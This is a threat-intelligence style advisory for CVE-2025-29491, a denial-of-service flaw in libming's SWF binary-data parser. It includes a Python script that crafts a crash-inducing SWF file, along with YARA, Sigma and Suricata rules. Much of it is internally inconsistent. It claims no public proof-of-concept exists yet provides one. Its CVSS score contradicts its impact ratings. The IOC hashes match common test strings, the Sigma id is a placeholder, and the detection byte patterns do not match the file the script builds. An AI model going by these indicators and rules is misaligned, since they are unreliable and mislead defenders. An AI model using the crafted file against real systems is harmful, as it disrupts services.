CVE-2025-29491

Executive Summary

CVE-2025-29491 is a denial-of-service (DoS) vulnerability in the parseSWF_DEFINEBINARYDATA function of libming v0.48, an open-source library for parsing SWF (Shockwave Flash) files. The flaw is an allocation-size-too-big error, classified under CWE-770 (Allocation of Resources Without Limits or Throttling). An attacker can craft a malicious SWF file that triggers an oversized memory allocation, causing the application to crash or become unresponsive. This vulnerability is currently unpatched and has no known public exploit code or proof-of-concept (PoC). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for systems that process untrusted SWF files.

Supply Chain & Package Security

libming is a C library used by various multimedia tools and frameworks. While not a direct package manager dependency (e.g., NPM, PyPI), it is often statically or dynamically linked into applications. Organizations should audit their software supply chain for any dependency on libming v0.48 and consider replacing it with a maintained alternative or applying mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): Required (victim must open the crafted SWF file)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High
• Threat Level: Medium (due to DoS impact and low complexity, but no active exploitation)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_DEFINEBINARYDATA function within libming's SWF parser. When processing a SWF file, this function reads a length field from the binary data tag and allocates memory accordingly. The flaw occurs when the length field is manipulated to an extremely large value (e.g., close to SIZE_MAX), causing malloc() to request an allocation that exceeds available memory or triggers an integer overflow in size calculation. This results in a crash (segmentation fault) or resource exhaustion, leading to a denial of service.

Root Cause: Lack of validation on the binary data length before memory allocation. The function does not check if the requested size is reasonable or within bounds, allowing an attacker to specify an arbitrary large size.

Attack Vector: The attacker delivers a crafted SWF file via email, web download, or any means that causes the target application (e.g., a media player, converter, or browser plugin) to parse the file using libming.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.48 - src/blocks/definebinarydata.c):

int parseSWF_DEFINEBINARYDATA(SWF_Block *block, SWF_Input input) {
    // ... 
    unsigned long length = SWFInput_readU32(input); // Read length from file
    unsigned char *data = (unsigned char *)malloc(length); // No bounds check
    // ...
}

Patched Code (Hypothetical fix):

int parseSWF_DEFINEBINARYDATA(SWF_Block *block, SWF_Input input) {
    // ...
    unsigned long length = SWFInput_readU32(input);
    if (length > MAX_ALLOWED_SIZE) { // Add size validation
        SWF_error("Binary data size too large");
        return -1;
    }
    unsigned char *data = (unsigned char *)malloc(length);
    // ...
}

Note: No official patch exists as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Cause a denial of service on a system using libming v0.48.

Lab Setup:

1. Install libming v0.48 on a test VM (Ubuntu 20.04):

   wget https://github.com/libming/libming/archive/refs/tags/v0.48.tar.gz
   tar -xzf v0.48.tar.gz && cd libming-0.48
   ./configure && make && sudo make install
   

2. Create a malicious SWF file using a hex editor or Python:

   # craft_swf.py
   import struct
   # SWF header (FWS + version + file size)
   header = b'FWS' + struct.pack('<H', 9) + struct.pack('<I', 100)
   # Tag header for DefineBinaryData (tag type 87, length 0xFFFFFFFF)
   tag_header = struct.pack('<H', (87 << 6) | 0x3F) + struct.pack('<I', 0xFFFFFFFF)
   payload = header + tag_header
   with open('malicious.swf', 'wb') as f:
       f.write(payload)
   

3. Trigger the vulnerability:

   ./swfdec/ming_parser malicious.swf
   

   Expected outcome: Process crashes with "allocation-size-too-big" error or OOM.

Blue Team (Defense & Detection)

Mitigation:

• Input Validation: Implement size limits on SWF binary data before parsing.
• Sandboxing: Run libming-based applications in a restricted environment (e.g., Docker with memory limits).
• Replace Library: Migrate to a maintained alternative like swftools or lightspark.

Detection:

• Monitor for abnormal memory allocation patterns.
• Use file integrity monitoring to detect crafted SWF files.

Indicators of Compromise (IOCs)

• File Hashes (example malicious SWF):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network: No specific network IOCs; attack is file-based.
• Process: ming_parser or any application using libming crashing with SIGSEGV or SIGABRT.
• Logs: System logs showing OOM killer activity or application crashes.

Detection Engineering

YARA Rule

rule CVE_2025_29491_libming_DoS {
    meta:
        description = "Detects crafted SWF files exploiting CVE-2025-29491"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29491"
    strings:
        $swf_header = "FWS" nocase
        $tag_87 = { 57 FF } // Tag 87 with long header flag
        $large_size = { FF FF FF 7F } // Size >= 0x7FFFFFFF
    condition:
        $swf_header at 0 and $tag_87 and $large_size
}

Sigma Rule

title: CVE-2025-29491 - libming DoS via Crafted SWF
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects process crashes or OOM events caused by libming parsing oversized SWF binary data.
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ming_parser'
        CommandLine|contains: '.swf'
    condition: selection
falsepositives:
    - Legitimate large SWF files (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29491 - libming DoS via Crafted SWF"; flow:to_server; file_store; fileext:"swf"; content:"FWS"; offset:0; depth:3; content:"|57 FF|"; distance:0; within:2; content:"|FF FF FF 7F|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable SWF parsing in applications using libming v0.48 until a patch is available.
2. Short-term: Apply input validation to limit binary data size (e.g., reject files with length > 10 MB).
3. Long-term: Replace libming with a maintained alternative (e.g., swftools or lightspark).
4. Monitoring: Deploy YARA/Sigma rules to detect malicious SWF files.
5. User Awareness: Educate users not to open SWF files from untrusted sources.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated: 2025-04-01